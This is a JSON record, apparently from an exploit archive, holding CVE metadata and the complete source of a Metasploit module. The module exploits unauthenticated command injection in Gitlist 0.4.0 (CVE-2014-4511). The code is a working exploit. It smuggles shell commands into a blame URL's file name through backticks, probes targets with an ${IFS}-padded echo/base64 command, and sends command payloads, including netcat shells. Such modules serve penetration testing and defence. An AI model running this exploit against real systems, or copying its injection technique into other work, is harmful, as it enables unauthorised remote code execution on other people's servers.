{"exploit":{"id":"MSF-linux--http--gitlist_exec","name":"Gitlist Unauthenticated Remote Command Execution","description":"This module exploits an unauthenticated remote command execution vulnerability in version 0.4.0 of Gitlist. The problem exists in the handling of a specially crafted file name when trying to blame it.","cves":["CVE-2014-4511"],"author":"drone, Brandon Perry","published":"2014-06-30","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/gitlist_exec.rb","path":"modules/exploits/linux/http/gitlist_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"gitlist_exec.rb","vulnerabilities":[{"id":"CVE-2014-4511","state":"PUBLISHED","title":null,"titleSource":null,"description":"Gitlist before 0.5.0 allows remote attackers to execute arbitrary commands via shell metacharacters in the file name in the URI of a request for a (1) blame, (2) file, or (3) stats page, as demonstrated by requests to blame/master/, master/, and stats/master/.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-4511","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-4511"},"updatedAt":"2024-08-06T11:20:25.991Z","retrievedAt":"2026-11-26T11:42:47.581Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--gitlist_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--gitlist_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--gitlist_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--gitlist_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Gitlist Unauthenticated Remote Command Execution',\n        'Description' => %q{\n          This module exploits an unauthenticated remote command execution vulnerability\n          in version 0.4.0 of Gitlist. The problem exists in the handling of a specially\n          crafted file name when trying to blame it.\n        },\n        'License' => MSF_LICENSE,\n        'Privileged' => false,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Author' => [\n          'drone', # discovery/poc by @dronesec\n          'Brandon Perry <bperry.volatile[at]gmail.com>' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2014-4511'],\n          ['EDB', '33929'],\n          ['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/']\n        ],\n        'Payload' => {\n          'Space' => 8192, # max length of GET request really\n          'BadChars' => \"&\\x20\",\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'generic telnet python perl gawk netcat netcat-e ruby php openssl',\n                        }\n        },\n        'Targets' => [\n          ['Gitlist 0.4.0', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2014-06-30',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])\n      ]\n    )\n  end\n\n  def check\n    repo = get_repo\n\n    if repo.nil?\n      return Exploit::CheckCode::Unknown('Could not determine the target status')\n    end\n\n    chk = Rex::Text.encode_base64(rand_text_alpha(rand(32) + 5))\n\n    res = send_command(repo, \"echo${IFS}\" + chk + \"|base64${IFS}--decode\")\n\n    if res && res.body\n      if res.body.include?(Rex::Text.decode_base64(chk))\n        return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n      elsif res.body.to_s =~ /sh.*not found/\n        return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n      end\n    end\n\n    Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def exploit\n    repo = get_repo\n    if repo.nil?\n      fail_with(Failure::Unknown, \"#{peer} - Failed to retrieve the remote repository\")\n    end\n    send_command(repo, payload.encoded)\n  end\n\n  def get_repo\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, \"/\")\n    })\n\n    unless res\n      return nil\n    end\n\n    first_repo = /href=\"\\/gitlist\\/(.*)\\/\"/.match(res.body)\n\n    unless first_repo && first_repo.length >= 2\n      return nil\n    end\n\n    repo_name = first_repo[1]\n\n    repo_name\n  end\n\n  def send_command(repo, cmd)\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '\"\"`' + cmd + '`')\n    }, 1)\n\n    res\n  end\nend\n","sha256":"f56fc1734a9401a5cb3b208ea2f2bffd0b55dcdab5728de65bb55833fac97cbb","bytes":3326,"fetchedAt":"2026-11-26T11:42:43.962Z","encoding":"utf-8 (display only; download retains original bytes)"}